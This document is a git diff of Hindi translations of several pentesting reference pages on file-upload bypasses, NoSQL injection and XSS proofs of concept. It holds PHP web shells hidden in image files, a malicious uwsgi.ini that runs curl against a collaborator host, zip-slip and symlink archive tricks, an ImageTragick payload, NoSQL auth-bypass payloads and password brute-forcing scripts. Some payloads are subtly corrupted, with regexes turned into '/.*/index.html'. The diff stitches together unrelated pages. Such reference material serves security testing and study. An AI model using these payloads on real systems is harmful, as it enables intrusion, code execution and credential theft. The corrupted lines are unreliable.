# फ़ाइल अपलोड करें और प्रतिक्रिया की जांच करें कि यह कितने वर्णों की अनुमति देता है। मान लीजिए 236
|
||||
# फ़ाइल अपलोड करें और जांचें कि यह कितने वर्णों की अनुमति देता है। मान लीजिए 236
|
||||
python -c 'print "A" * 232'
|
||||
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
|
||||
# पेलोड बनाएं
|
||||
@ -63,38 +63,38 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
- **Content-Type** जांच को बायपास करें **Content-Type** **header** के **मान** को सेट करके: _image/png_ , _text/plain , application/octet-stream_
|
||||
1. Content-Type **शब्दकोश**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
|
||||
- फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **metadata** के अंदर शेल पेश करें:\
|
||||
- फ़ाइल की शुरुआत में **एक वास्तविक छवि** के **बाइट्स** को जोड़कर **जादुई संख्या** जांच को बायपास करें ( _file_ कमांड को भ्रमित करें)। या **metadata** के अंदर शेल पेश करें:\
|
||||
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
|
||||
`\` या आप **पेलोड को सीधे** एक छवि में भी पेश कर सकते हैं:\
|
||||
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
|
||||
- यदि आपकी छवि में **संकुचन जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE चंक** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन** को **बचाएगा**।
|
||||
- यदि आपकी छवि में **संकुचन जोड़ा जा रहा है**, उदाहरण के लिए कुछ मानक PHP पुस्तकालयों का उपयोग करके जैसे [PHP-GD](https://www.php.net/manual/fr/book.image.php), तो पिछले तकनीकें उपयोगी नहीं होंगी। हालाँकि, आप **PLTE chunk** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन** को **बचाएगा**।
|
||||
- [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
|
||||
- वेब पृष्ठ भी **छवि** का **आकार बदलने** का कार्य कर सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT चंक** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन** को **बचाएगा**।
|
||||
- वेब पृष्ठ भी **छवि** का **आकार बदलने** का कार्य कर सकता है, उदाहरण के लिए PHP-GD फ़ंक्शंस `imagecopyresized` या `imagecopyresampled` का उपयोग करके। हालाँकि, आप **IDAT chunk** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन** को **बचाएगा**।
|
||||
- [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
|
||||
- एक और तकनीक जो एक पेलोड बनाने के लिए **छवि के आकार बदलने** को **बचाती है**, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करती है। हालाँकि, आप **tEXt चंक** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन** को **बचाएगा**।
|
||||
- एक और तकनीक जो एक पेलोड बनाने के लिए **छवि के आकार बदलने** को **बचाती है**, PHP-GD फ़ंक्शन `thumbnailImage` का उपयोग करती है। हालाँकि, आप **tEXt chunk** [**यहाँ परिभाषित तकनीक**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) का उपयोग करके कुछ पाठ जोड़ सकते हैं जो **संकुचन** को **बचाएगा**।
|
||||
- [**कोड के साथ Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### अन्य ट्रिक्स की जांच करें
|
||||
|
||||
- पहले से अपलोड की गई फ़ाइल का नाम **बदलने** के लिए एक भेद्यता खोजें (एक्सटेंशन बदलने के लिए)।
|
||||
- बैकडोर निष्पादित करने के लिए **स्थानीय फ़ाइल समावेशन** भेद्यता खोजें।
|
||||
- बैकडोर को निष्पादित करने के लिए **स्थानीय फ़ाइल समावेशन** भेद्यता खोजें।
|
||||
- **संभावित जानकारी का खुलासा**:
|
||||
1. **एक ही नाम** वाली फ़ाइल को **कई बार** (और **एक ही समय में**) अपलोड करें
|
||||
2. एक फ़ाइल अपलोड करें जिसका **नाम** एक **फ़ाइल** या **फोल्डर** का है जो **पहले से मौजूद है**
|
||||
3. एक फ़ाइल अपलोड करना जिसका नाम **“.”, “..”, या “…”** है। उदाहरण के लिए, Windows में Apache में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
|
||||
4. एक फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे **“…:.jpg”** **NTFS** में। (Windows)
|
||||
5. Windows में एक फ़ाइल अपलोड करें जिसमें **अमान्य वर्ण** जैसे `|<>*?”` उसके नाम में हैं। (Windows)
|
||||
6. Windows में एक फ़ाइल अपलोड करें जिसमें **आरक्षित** (**निषिद्ध**) **नाम** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9।
|
||||
- एक **निष्पाद्य** (.exe) या **.html** (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो **कोड निष्पादित करेगा** जब इसे पीड़ित द्वारा गलती से खोला जाएगा।
|
||||
2. **पहले से मौजूद** फ़ाइल या **फोल्डर** के **नाम** वाली फ़ाइल अपलोड करें
|
||||
3. **“.”, “..”, या “…”** के रूप में नाम वाली फ़ाइल अपलोड करना। उदाहरण के लिए, Windows में Apache में, यदि एप्लिकेशन अपलोड की गई फ़ाइलों को “/www/uploads/” निर्देशिका में सहेजता है, तो “.” फ़ाइल नाम “/www/” निर्देशिका में “uploads” नाम की फ़ाइल बनाएगा।
|
||||
4. ऐसी फ़ाइल अपलोड करें जिसे आसानी से हटाया नहीं जा सकता जैसे **“…:.jpg”** **NTFS** में। (Windows)
|
||||
5. **Windows** में **अमान्य वर्ण** जैसे `|<>*?”` के साथ फ़ाइल अपलोड करें। (Windows)
|
||||
6. **Windows** में **आरक्षित** (**निषिद्ध**) **नामों** जैसे CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, और LPT9 के साथ फ़ाइल अपलोड करें।
|
||||
- **कोड** निष्पादित करने के लिए **एक निष्पादन योग्य** (.exe) या **.html** (कम संदिग्ध) फ़ाइल अपलोड करने का प्रयास करें जो जब पीड़ित द्वारा गलती से खोली जाती है।
|
||||
|
||||
### विशेष एक्सटेंशन ट्रिक्स
|
||||
|
||||
यदि आप **PHP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.htaccess** ट्रिक पर एक नज़र डालें](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess)।\
|
||||
यदि आप **ASP सर्वर** पर फ़ाइलें अपलोड करने का प्रयास कर रहे हैं, तो [कोड निष्पादित करने के लिए **.config** ट्रिक पर एक नज़र डालें](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)।
|
||||
|
||||
`.phar` फ़ाइलें Java के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल की तरह** (PHP के साथ निष्पादित करना, या इसे स्क्रिप्ट के अंदर शामिल करना...) उपयोग किया जा सकता है।
|
||||
`.phar` फ़ाइलें जावा के लिए `.jar` की तरह होती हैं, लेकिन PHP के लिए, और इन्हें **PHP फ़ाइल** की तरह **उपयोग किया जा सकता है** (इसे PHP के साथ निष्पादित करके, या इसे स्क्रिप्ट के अंदर शामिल करके...)
|
||||
|
||||
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए होती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने की अनुमति दी हो**।
|
||||
`.inc` एक्सटेंशन कभी-कभी PHP फ़ाइलों के लिए उपयोग किया जाता है जो केवल फ़ाइलों को **आयात** करने के लिए उपयोग की जाती हैं, इसलिए, किसी बिंदु पर, किसी ने **इस एक्सटेंशन को निष्पादित करने** की अनुमति दी हो सकती है।
|
||||
|
||||
## **Jetty RCE**
|
||||
|
||||
@ -108,7 +108,7 @@ AAA<--SNIP 232 A-->AAA.php.png
|
||||
|
||||
रिमोट कमांड निष्पादन (RCE) भेद्यताएँ uWSGI सर्वरों में शोषित की जा सकती हैं यदि किसी के पास `.ini` कॉन्फ़िगरेशन फ़ाइल को संशोधित करने की क्षमता हो। uWSGI कॉन्फ़िगरेशन फ़ाइलें "जादुई" चर, प्लेसहोल्डर और ऑपरेटर को शामिल करने के लिए एक विशिष्ट वाक्यविन्यास का उपयोग करती हैं। विशेष रूप से, '@' ऑपरेटर, जिसका उपयोग `@(filename)` के रूप में किया जाता है, एक फ़ाइल की सामग्री को शामिल करने के लिए डिज़ाइन किया गया है। uWSGI में विभिन्न समर्थित योजनाओं में, "exec" योजना विशेष रूप से शक्तिशाली है, जो एक प्रक्रिया के मानक आउटपुट से डेटा पढ़ने की अनुमति देती है। इस सुविधा का दुरुपयोग रिमोट कमांड निष्पादन या मनमाने फ़ाइल लेखन/पढ़ने के लिए किया जा सकता है जब एक `.ini` कॉन्फ़िगरेशन फ़ाइल संसाधित की जाती है।
|
||||
|
||||
हानिकारक `uwsgi.ini` फ़ाइल का निम्नलिखित उदाहरण विभिन्न योजनाओं को प्रदर्शित करता है:
|
||||
हानिकारक `uwsgi.ini` फ़ाइल का निम्नलिखित उदाहरण विचार करें, जो विभिन्न योजनाओं को प्रदर्शित करता है:
|
||||
```ini
|
||||
[uwsgi]
|
||||
; read from a symbol
|
||||
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
|
||||
; call a function returning a char *
|
||||
characters = @(call://uwsgi_func)
|
||||
```
|
||||
पेलोड का निष्पादन कॉन्फ़िगरेशन फ़ाइल के पार्सिंग के दौरान होता है। कॉन्फ़िगरेशन को सक्रिय और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनः प्रारंभ किया जाना चाहिए (संभावित रूप से क्रैश के बाद या Denial of Service हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड सुविधा, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्दिष्ट अंतराल पर फ़ाइल को फिर से लोड करती है।
|
||||
पेलोड का निष्पादन कॉन्फ़िगरेशन फ़ाइल के पार्सिंग के दौरान होता है। कॉन्फ़िगरेशन को सक्रिय और पार्स करने के लिए, uWSGI प्रक्रिया को या तो पुनः प्रारंभ किया जाना चाहिए (संभावित रूप से क्रैश के बाद या Denial of Service हमले के कारण) या फ़ाइल को ऑटो-रीलोड पर सेट किया जाना चाहिए। ऑटो-रीलोड फ़ीचर, यदि सक्षम है, तो परिवर्तनों का पता लगाने पर निर्दिष्ट अंतराल पर फ़ाइल को फिर से लोड करता है।
|
||||
|
||||
uWSGI की कॉन्फ़िगरेशन फ़ाइल पार्सिंग की लचीली प्रकृति को समझना महत्वपूर्ण है। विशेष रूप से, चर्चा की गई पेलोड को एक बाइनरी फ़ाइल (जैसे कि एक छवि या PDF) में डाला जा सकता है, जिससे संभावित शोषण के दायरे को और बढ़ाया जा सकता है।
|
||||
|
||||
## **wget फ़ाइल अपलोड/SSRF ट्रिक**
|
||||
|
||||
कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें डाउनलोड की जा रही हैं। हालाँकि, **यह जांच बायपास की जा सकती है।**\
|
||||
**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल डाउनलोड कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **बदल देगा**।
|
||||
कुछ अवसरों पर आप देख सकते हैं कि एक सर्वर **`wget`** का उपयोग **फ़ाइलें डाउनलोड करने** के लिए कर रहा है और आप **URL** को **संकेत** कर सकते हैं। इन मामलों में, कोड यह जांच सकता है कि डाउनलोड की गई फ़ाइलों का एक्सटेंशन एक व्हाइटलिस्ट के भीतर है ताकि यह सुनिश्चित किया जा सके कि केवल अनुमत फ़ाइलें ही डाउनलोड की जाएंगी। हालाँकि, **यह जांच बायपास की जा सकती है।**\
|
||||
**linux** में **फ़ाइल नाम** की **अधिकतम** लंबाई **255** है, हालाँकि, **wget** फ़ाइल नामों को **236** वर्णों तक संक्षिप्त करता है। आप **"A"\*232+".php"+".gif"** नामक फ़ाइल को **डाउनलोड** कर सकते हैं, यह फ़ाइल नाम **जांच** को **बायपास** करेगा (जैसे कि इस उदाहरण में **".gif"** एक **मान्य** एक्सटेंशन है) लेकिन `wget` फ़ाइल का नाम **"A"\*232+".php"** में **बदल देगा**।
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -174,9 +174,9 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
- [**SVG फ़ाइल अपलोड के माध्यम से ओपन रीडायरेक्ट**](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) से **विभिन्न svg पेलोड** का प्रयास करें\*\*\*\*
|
||||
- [प्रसिद्ध **ImageTrick** कमजोरी](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- यदि आप **वेब सर्वर को एक URL से इमेज पकड़ने के लिए इंगित कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी इंगित कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**।
|
||||
- [PDF-एडोब अपलोड के साथ **XXE और CORS** बायपास](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- XSS के लिए विशेष रूप से तैयार किए गए PDFs: [निम्नलिखित पृष्ठ प्रस्तुत करता है कि **JS निष्पादन प्राप्त करने के लिए PDF डेटा कैसे इंजेक्ट करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
|
||||
- यदि आप **वेब सर्वर को URL से इमेज कैच करने के लिए इंगित कर सकते हैं** तो आप [SSRF](../ssrf-server-side-request-forgery/index.html) का शोषण करने का प्रयास कर सकते हैं। यदि यह **इमेज** किसी **सार्वजनिक** साइट पर **सहेजी** जा रही है, तो आप [https://iplogger.org/invisible/](https://iplogger.org/invisible/) से एक URL भी इंगित कर सकते हैं और **हर आगंतुक की जानकारी चुरा सकते हैं**।
|
||||
- [PDF-Adobe अपलोड के साथ **XXE और CORS** बायपास](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- विशेष रूप से तैयार किए गए PDFs से XSS: [निम्नलिखित पृष्ठ प्रस्तुत करता है कि **JS निष्पादन प्राप्त करने के लिए PDF डेटा कैसे इंजेक्ट करें**](../xss-cross-site-scripting/pdf-injection.md)। यदि आप PDFs अपलोड कर सकते हैं तो आप कुछ PDF तैयार कर सकते हैं जो दिए गए निर्देशों के अनुसार मनमाना JS निष्पादित करेगा।
|
||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) सामग्री को अपलोड करें ताकि यह जांचा जा सके कि सर्वर में कोई **एंटीवायरस** है या नहीं
|
||||
- फ़ाइलें अपलोड करते समय यदि कोई **आकार सीमा** है तो जांचें
|
||||
|
||||
@ -212,7 +212,7 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
#### सिम्लिंक
|
||||
|
||||
एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचकर आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
|
||||
एक लिंक अपलोड करें जिसमें अन्य फ़ाइलों के लिए सॉफ्ट लिंक शामिल हैं, फिर, डिकंप्रेस की गई फ़ाइलों तक पहुँचते समय आप लिंक की गई फ़ाइलों तक पहुँचेंगे:
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### Decompress in different folders
|
||||
|
||||
डिकम्प्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संपीड़न समर्थन और निर्देशिका यात्रा क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकम्प्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।
|
||||
डिकम्प्रेशन के दौरान निर्देशिकाओं में फ़ाइलों का अप्रत्याशित निर्माण एक महत्वपूर्ण समस्या है। प्रारंभिक धारणाओं के बावजूद कि यह सेटअप दुर्भावनापूर्ण फ़ाइल अपलोड के माध्यम से OS-स्तरीय कमांड निष्पादन के खिलाफ सुरक्षा कर सकता है, ZIP आर्काइव प्रारूप की पदानुक्रमित संपीड़न समर्थन और निर्देशिका traversal क्षमताओं का शोषण किया जा सकता है। यह हमलावरों को प्रतिबंधों को बायपास करने और लक्षित एप्लिकेशन की डिकम्प्रेशन कार्यक्षमता को हेरफेर करके सुरक्षित अपलोड निर्देशिकाओं से बाहर निकलने की अनुमति देता है।
|
||||
|
||||
ऐसी फ़ाइलें बनाने के लिए एक स्वचालित शोषण [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc) पर उपलब्ध है। उपयोगिता का उपयोग इस प्रकार किया जा सकता है:
|
||||
```python
|
||||
@ -270,7 +270,7 @@ root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php
|
||||
root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
```
|
||||
|
||||
3. **हेक्स एडिटर या vi के साथ संशोधन**: ज़िप के अंदर फाइलों के नामों को vi या हेक्स एडिटर का उपयोग करके बदला जाता है, "xxA" को "../" में बदलकर निर्देशिकाओं को पार किया जाता है।
|
||||
3. **हैक्स संपादक या vi के साथ संशोधन**: ज़िप के अंदर फाइलों के नाम vi या हैक्स संपादक का उपयोग करके बदले जाते हैं, "xxA" को "../" में बदलकर निर्देशिकाओं को पार करते हैं।
|
||||
|
||||
```bash
|
||||
:set modifiable
|
||||
@ -280,7 +280,7 @@ root@s2crew:/tmp# zip cmd.zip xx*.php
|
||||
|
||||
## ImageTragic
|
||||
|
||||
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि भेद्यता का लाभ उठाया जा सके **(ImageMagick , 7.0.1-1)** (फॉर्म [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
इस सामग्री को एक छवि एक्सटेंशन के साथ अपलोड करें ताकि इस भेद्यता का लाभ उठाया जा सके **(ImageMagick , 7.0.1-1)** (फॉर्म [exploit](https://www.exploit-db.com/exploits/39767))
|
||||
```
|
||||
push graphic-context
|
||||
viewbox 0 0 640 480
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
PHP में आप एक Array भेज सकते हैं, भेजे गए पैरामीटर को _parameter=foo_ से _parameter\[arrName]=foo_ में बदलकर।
|
||||
|
||||
शोषण **Operator** जोड़ने पर आधारित हैं:
|
||||
एक्सप्लॉइट्स **Operator** जोड़ने पर आधारित हैं:
|
||||
```bash
|
||||
username[$ne]=1$password[$ne]=1 #<Not Equals>
|
||||
username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
|
||||
@ -17,9 +17,9 @@ username[$ne]=admin&pass[$gt]=s #<Greater Than>
|
||||
username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
|
||||
{ $where: "this.credits == this.debits" }#<IF>, can be used to execute code
|
||||
```
|
||||
### बेसिक ऑथेंटिकेशन बायपास
|
||||
### Basic authentication bypass
|
||||
|
||||
**नॉट इक्वल ($ne) या ग्रेटर ($gt) का उपयोग करना**
|
||||
**Using not equal ($ne) or greater ($gt)**
|
||||
```bash
|
||||
#in URL
|
||||
username[$ne]=toto&password[$ne]=toto
|
||||
@ -46,7 +46,7 @@ username[$ne]=toto&password[$regex]=.{1}
|
||||
username[$ne]=toto&password[$regex]=.{3}
|
||||
# True if the length equals 1,3...
|
||||
```
|
||||
### डेटा जानकारी निकालें
|
||||
### Extract **data** information
|
||||
```
|
||||
in URL (if length == 3)
|
||||
username[$ne]=toto&password[$regex]=a.{2}
|
||||
@ -67,7 +67,7 @@ in JSON
|
||||
### **SQL - Mongo**
|
||||
```
|
||||
/?search=admin' && this.password%00 --> Check if the field password exists
|
||||
/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
|
||||
/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
|
||||
/?search=admin' && this.password && this.password.match(/^a.*$/)%00
|
||||
/?search=admin' && this.password && this.password.match(/^b.*$/)%00
|
||||
/?search=admin' && this.password && this.password.match(/^c.*$/)%00
|
||||
@ -78,7 +78,7 @@ in JSON
|
||||
```
|
||||
### PHP मनमाना फ़ंक्शन निष्पादन
|
||||
|
||||
**$func** ऑपरेटर का उपयोग करते हुए [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) पुस्तकालय (डिफ़ॉल्ट रूप से उपयोग किया जाता है) के माध्यम से मनमाना फ़ंक्शन निष्पादित करना संभव हो सकता है जैसे कि [इस रिपोर्ट](https://swarm.ptsecurity.com/rce-cockpit-cms/) में।
|
||||
**$func** ऑपरेटर का उपयोग करते हुए [MongoLite](https://github.com/agentejo/cockpit/tree/0.11.1/lib/MongoLite) पुस्तकालय (डिफ़ॉल्ट रूप से उपयोग किया जाता है) के माध्यम से मनमाना फ़ंक्शन निष्पादित करना संभव हो सकता है, जैसा कि [इस रिपोर्ट](https://swarm.ptsecurity.com/rce-cockpit-cms/) में है।
|
||||
```python
|
||||
"user":{"$func": "var_dump"}
|
||||
```
|
||||
@ -86,7 +86,7 @@ in JSON
|
||||
|
||||
### विभिन्न संग्रह से जानकारी प्राप्त करें
|
||||
|
||||
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) का उपयोग करके एक अलग संग्रह से जानकारी प्राप्त करना संभव है। निम्नलिखित उदाहरण में, हम **`users`** नामक **अलग संग्रह** से पढ़ रहे हैं और एक वाइल्डकार्ड से मेल खाने वाले पासवर्ड के साथ **सभी प्रविष्टियों के परिणाम** प्राप्त कर रहे हैं।
|
||||
[**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) का उपयोग करके एक अलग संग्रह से जानकारी प्राप्त करना संभव है। निम्नलिखित उदाहरण में, हम **`users`** नामक **अलग संग्रह** से पढ़ रहे हैं और एक वाइल्डकार्ड से मेल खाने वाले पासवर्ड के साथ **सभी प्रविष्टियों** के **परिणाम** प्राप्त कर रहे हैं।
|
||||
|
||||
**नोट:** `$lookup` और अन्य समग्र कार्य केवल तभी उपलब्ध हैं जब `aggregate()` फ़ंक्शन का उपयोग खोज करने के लिए किया गया हो, न कि अधिक सामान्य `find()` या `findOne()` फ़ंक्शंस का।
|
||||
```json
|
||||
@ -126,10 +126,10 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
|
||||
|| 1==1//
|
||||
|| 1==1%00
|
||||
}, { password : /.*/ }
|
||||
' && this.password.match(/.*/)//+%00
|
||||
' && this.passwordzz.match(/.*/)//+%00
|
||||
'%20%26%26%20this.password.match(/.*/)//+%00
|
||||
'%20%26%26%20this.passwordzz.match(/.*/)//+%00
|
||||
' && this.password.match(/.*/index.html)//+%00
|
||||
' && this.passwordzz.match(/.*/index.html)//+%00
|
||||
'%20%26%26%20this.password.match(/.*/index.html)//+%00
|
||||
'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
|
||||
{$gt: ''}
|
||||
[$ne]=1
|
||||
';sleep(5000);
|
||||
@ -176,7 +176,7 @@ if 'OK' in r.text:
|
||||
print("Found one more char : %s" % (password+c))
|
||||
password += c
|
||||
```
|
||||
### POST लॉगिन से ब्रूट-फोर्स लॉगिन यूजरनेम और पासवर्ड
|
||||
### Brute-force login usernames and passwords from POST login
|
||||
|
||||
यह एक सरल स्क्रिप्ट है जिसे आप संशोधित कर सकते हैं लेकिन पिछले उपकरण भी इस कार्य को कर सकते हैं।
|
||||
```python
|
||||
@ -218,12 +218,12 @@ return usernames
|
||||
for u in get_usernames(""):
|
||||
get_password(u)
|
||||
```
|
||||
## उपकरण
|
||||
## Tools
|
||||
|
||||
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
|
||||
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
|
||||
|
||||
## संदर्भ
|
||||
## References
|
||||
|
||||
- [https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media](https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2Fgit-blob-3b49b5d5a9e16cb1ec0d50cb1e62cb60f3f9155a%2FEN-NoSQL-No-injection-Ron-Shulman-Peleg-Bronshtein-1.pdf?alt=media)
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection)
|
||||
|
@ -2,13 +2,13 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
इन PoCs और Polygloths का लक्ष्य परीक्षक को उन कमजोरियों का तेज़ **सारांश** देना है जिन्हें वह शोषण कर सकता है यदि उसका **इनपुट किसी तरह प्रतिक्रिया में परिलक्षित हो रहा है**।
|
||||
इन PoCs और Polygloths का लक्ष्य परीक्षक को एक तेज़ **सारांश** प्रदान करना है कि वह किन कमजोरियों का शिकार कर सकता है यदि उसका **इनपुट किसी तरह प्रतिक्रिया में परिलक्षित हो रहा है**।
|
||||
|
||||
> [!WARNING]
|
||||
